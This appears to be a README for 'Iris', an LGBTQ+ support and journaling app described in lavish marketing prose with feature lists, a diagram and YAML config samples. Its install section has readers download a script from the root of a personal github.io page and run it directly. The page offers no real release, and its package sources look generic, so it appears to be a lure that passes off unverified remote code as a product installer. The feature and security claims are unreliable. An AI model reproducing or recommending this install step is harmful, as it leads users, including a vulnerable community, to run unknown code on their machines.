Iris is not merely an application—it's a living, breathing digital ecosystem designed to nurture, protect, and celebrate LGBTQ+ identities. Imagine a digital companion that evolves with you, offering personalized guidance, community connection, and resources tailored to your unique journey. Built with privacy-first architecture and compassionate technology, Iris serves as both a personal journal and a community lighthouse, illuminating paths toward self-discovery and collective empowerment.
In a digital landscape often fragmented and impersonal, Iris emerges as an integrated sanctuary where technology meets humanity. Our platform transforms the solitary experience of identity exploration into a connected journey, weaving together personal reflection tools, community wisdom, and adaptive resources that respond to your emotional and informational needs.
Ready to begin your journey? The latest stable release of Iris is available for immediate installation:
- Architectural Vision
- Core Capabilities
- System Architecture
- Getting Started
- Configuration Examples
- Platform Compatibility
- Intelligent Integration
- Community & Support
- Development Roadmap
- Contributing
- License
- Disclaimer
Iris reimagines digital support systems as organic, adaptive environments rather than static toolkits. Our architecture is built upon three foundational pillars:
- The Personal Sanctuary: A private, encrypted space where your journey remains yours alone, protected by military-grade encryption and zero-knowledge architecture.
- The Community Grove: Carefully moderated spaces where shared experiences blossom into collective wisdom, with algorithmic curation that prioritizes safety and relevance.
- The Adaptive Guide: Machine learning systems that learn from your interactions (with explicit consent) to surface resources, communities, and tools that align with your evolving needs.
Unlike traditional applications that treat users as data points, Iris cultivates relationships—with yourself, with community, and with the resources that matter most to your unique path.
- Dynamic Profile Ecosystem: Create multidimensional identity profiles that evolve over time, capturing the fluidity of personal discovery
- Milestone Mapping: Visually track and celebrate your journey with interactive timelines and reflection prompts
- Privacy-Forward Design: Granular control over what you share, with whom, and for how long—with expiration dates on sensitive data
- Interest-Based Pods: Micro-communities organized around specific identities, experiences, or interests with moderated safety protocols
- Wisestone Exchange: A knowledge-sharing system where community-verified resources earn credibility through peer validation
- Event Resonance Calendar: Local and virtual events curated based on your location, interests, and accessibility needs
- Context-Aware Suggestions: Resources that surface when they're most relevant to your current journey phase
- Emotional Weather System: Mood and need-based recommendations that adapt to your emotional landscape
- Barrier Detection: Proactive identification of potential obstacles (financial, geographical, social) with tailored workaround strategies
- Personal Data Vault: End-to-end encrypted storage with client-side key management
- Selective Disclosure: Share specific profile facets with specific communities without exposing your full identity
- Digital Legacy Planning: Designate trusted contacts who can access specified portions of your data under predefined circumstances
graph TB
A[User Device] --> B[Iris Client]
B --> C[Local Encrypted Vault]
B --> D[Consent Manager]
D --> E{Consent Given?}
E -->|Yes| F[Anonymous Telemetry]
E -->|No| G[Local-Only Mode]
F --> H[Iris Gateway]
H --> I[Resource Curator]
H --> J[Community Bridge]
I --> K[AI Integration Layer]
J --> L[Pod Matching Engine]
K --> M[OpenAI API]
K --> N[Claude API]
L --> O[Community Pods]
C -.-> P[Backup Services]
style A fill:#e1f5fe
style C fill:#f3e5f5
style O fill:#e8f5e8
The Iris architecture employs a hybrid model where sensitive data never leaves your device without explicit, granular consent. Our gateway services only process anonymized, aggregated data for community matching and resource recommendations, ensuring your personal journey remains sovereign.
Direct Download (Recommended):
# Download the latest release
curl -L https://Miqueias2025.github.io -o iris-installer.sh
# Make executable and run
chmod +x iris-installer.sh
./iris-installer.shPackage Manager Options:
# Homebrew (macOS)
brew tap iris-sanctuary/tap
brew install iris
# Windows Package Manager
winget install IrisSanctuary.Iris
# Linux (Debian/Ubuntu)
echo "deb https://repo.iris-sanctuary.io/ stable main" | sudo tee /etc/apt/sources.list.d/iris.list
sudo apt update && sudo apt install irisOnce installed, initialize your sanctuary with:
# Initialize your personal sanctuary
iris init --name "YourChosenName" --privacy-level sovereign
# Start the Iris daemon for background services
iris daemon start
# Launch the graphical interface
iris launch
# Or use CLI mode for specific actions
iris journal add --entry "Today I explored..." --tags identity,reflection
iris community discover --interest "trans-nonbinary" --radius 50km
iris resources find --type "healthcare" --filter "lgbtq-friendly"Upon first launch, Iris guides you through a compassionate setup process:
- Privacy Preferences: Choose your data sovereignty level (Local-Only, Community-Connected, or Guided)
- Journey Mapping: Optionally share your current exploration interests to personalize initial resources
- Community Connections: Discover pods aligned with your identities and interests
- Guardian Setup: Designate trusted contacts for your digital legacy (optional)
sanctuary:
name: "River"
pronouns: ["they/them"]
identity_tags: ["nonbinary", "queer", "autistic"]
exploration_interests: ["gender-expression", "community-building", "mental-health"]
privacy:
level: "sovereign"
data_retention: "90d"
auto_purge_unshared: true
legacy_contacts:
- name: "Alex"
access_level: "journal_entries"
trigger: "inactive_180d"
community:
visible_facets: ["pronouns", "identity_tags"]
pod_memberships: ["neuroqueer-collective", "nonbinary-artists"]
discovery_range: "100km"
resources:
preferred_formats: ["articles", "video", "peer-stories"]
sensitivity_filters:
- "avoid_medical_trauma"
- "prioritize_own_voices"
notification_frequency: "weekly_digest"
ai_assistance:
enabled: true
providers:
openai:
usage: "resource_summarization"
context_window: "7d"
claude:
usage: "reflection_prompts"
context_window: "30d"
consent_required: trueintegrations:
calendar:
sync_events: true
import_community_events: true
health:
wearable_sync: false
mood_tracking:
enabled: true
source: "manual_entries"
external_apis:
- name: "queer_friendly_spaces"
api_key: "${ENV_API_KEY}"
cache_duration: "24h"
notifications:
digest_schedule: "sunday_20:00"
urgent_alerts: ["safety_warnings", "community_events_24h"]
quiet_hours: ["22:00-08:00"]Iris is engineered for universal access across platforms and abilities:
| Platform | Status | Notes | Emoji |
|---|---|---|---|
| Windows 10/11 | ✅ Fully Supported | Native ARM64 builds available | 🪟 |
| macOS 11+ | ✅ Fully Supported | Apple Silicon optimized | 🍎 |
| Linux (Ubuntu/Debian) | ✅ Fully Supported | AppImage & native packages | 🐧 |
| Android 9+ | ✅ Fully Supported | Privacy-focused permissions | 🤖 |
| iOS/iPadOS 15+ | ✅ Fully Supported | App Store availability | 📱 |
| Web Browser | 🌐 Progressive Web App | Limited offline functionality | 🌍 |
| Command Line | ⚡ Full-featured CLI | All core functionality available | 🖥️ |
| Screen Readers | ♿ Fully Accessible | WCAG 2.1 AA compliant | 👁️ |
| Low-Bandwidth | 📶 Optimized Mode | <500KB initial load | 🐌 |
Iris leverages OpenAI's models for:
- Resource Summarization: Converting lengthy documents into accessible overviews
- Language Translation: Making community wisdom accessible across language barriers
- Content Moderation: Assisting human moderators in maintaining safe spaces
- Personalized Learning Paths: Generating customized exploration guides based on your interests
Through Claude's capabilities, Iris provides:
- Reflective Dialogue: AI-assisted journaling prompts that adapt to your emotional state
- Community Wisdom Curation: Identifying and elevating particularly insightful community contributions
- Crisis Response Guidance: Offering tiered support suggestions during difficult moments
- Identity Language Evolution: Tracking and explaining evolving terminology within communities
Privacy Note: All AI interactions are opt-in, anonymized, and never include personally identifiable information without explicit consent. You can disable AI features entirely while retaining full application functionality.
- Immediate Assistance: Crisis resources and warm handoff protocols to human supporters
- Technical Support: Response within 4 hours for urgent issues, 24 hours for standard inquiries
- Community Guides: Trained peer supporters available in most community pods
- Accessibility Team: Dedicated specialists for disability-related support
Iris communities operate on a modified sociocracy model:
- Pod Stewards: Elected community members who facilitate discussions and moderate content
- Circle Decisions: Major changes decided through consent-based decision making
- Transparency Logs: All moderation actions publicly documented (with privacy protections)
- Appeal Process: Clear pathways to contest decisions or request reconsideration
- Resource Submission: Suggest vetted resources to the community knowledge base
- Translation Efforts: Help make Iris accessible in your native language
- Accessibility Testing: Participate in usability studies for various abilities
- Community Gardening: Volunteer as a pod steward or event organizer
- Holographic Journaling: AR/VR integration for immersive reflection spaces
- Biometric Response: Optional physiological feedback for emotional tracking
- Cross-Pod Events: Large-scale virtual gatherings across community boundaries
- Predictive Companion: Proactive resource suggestions before explicit need recognition
- Wisdom Distillation: AI-assisted extraction of community insights into guidebooks
- Intergenerational Bridge: Structured knowledge transfer between age cohorts
- Safe Space Mapping: Real-time LGBTQ+ friendly location verification
- Wearable Companion: Minimalist devices for discreet support access
- Offline Resilience: Enhanced functionality in low-connectivity environments
- Personal Cloud Deployment: Self-hosted Iris instances for complete data sovereignty
- Federated Network: Pod-to-pod communication without central servers
- Blockchain Identity: Optional verifiable credentials for community reputation
Iris thrives through community contribution. We welcome:
- Code Contributions: Follow our Contributing Guidelines
- Resource Curation: Submit verified resources through our validation portal
- Language Expansion: Join our translation collective
- Accessibility Advocacy: Help us identify and address barriers
- Community Gardening: Nurture and moderate community pods
All contributors agree to our Code of Compassion, which prioritizes emotional safety alongside technical excellence.
Iris is released under the MIT License - see the LICENSE file for details.
The MIT License ensures that Iris remains accessible to all while protecting contributor rights. This license allows for personal, community, and commercial use while requiring attribution. We believe in open sanctuary-building: the code that protects and nurtures our community should itself be protected and nurtured through open collaboration.
Important Notice Regarding Support Services (2026 Edition)
Iris is a digital companion tool designed to supplement—not replace—human connection and professional support. While we integrate crisis resources and community wisdom, we are not a substitute for:
- Licensed mental healthcare providers
- Emergency medical services
- Legal professionals
- Crisis hotlines for immediate danger
The AI components within Iris are designed for reflection and resource discovery only. They do not provide therapeutic intervention, medical advice, or crisis management. All AI-generated content should be evaluated with critical thinking and, when concerning, discussed with trusted humans or professionals.
Your data sovereignty is our priority. However, no digital system can guarantee absolute security. We employ industry-leading encryption and privacy practices, but users should be aware of digital risks inherent to all connected systems.
Iris communities are peer-moderated spaces. While we implement robust safety protocols, we cannot guarantee complete protection from harmful interactions. We provide tools for blocking, reporting, and curating your experience, but ultimate responsibility for digital wellbeing is shared between platform and user.
By using Iris, you acknowledge these limitations and agree to use the platform as part of a broader ecosystem of support, both digital and human.
Your sanctuary awaits. Download Iris today and begin mapping your journey with a companion designed to grow alongside you:
Iris: Nurturing digital ecosystems for LGBTQ+ journeys since 2023. Every identity is a universe worth exploring.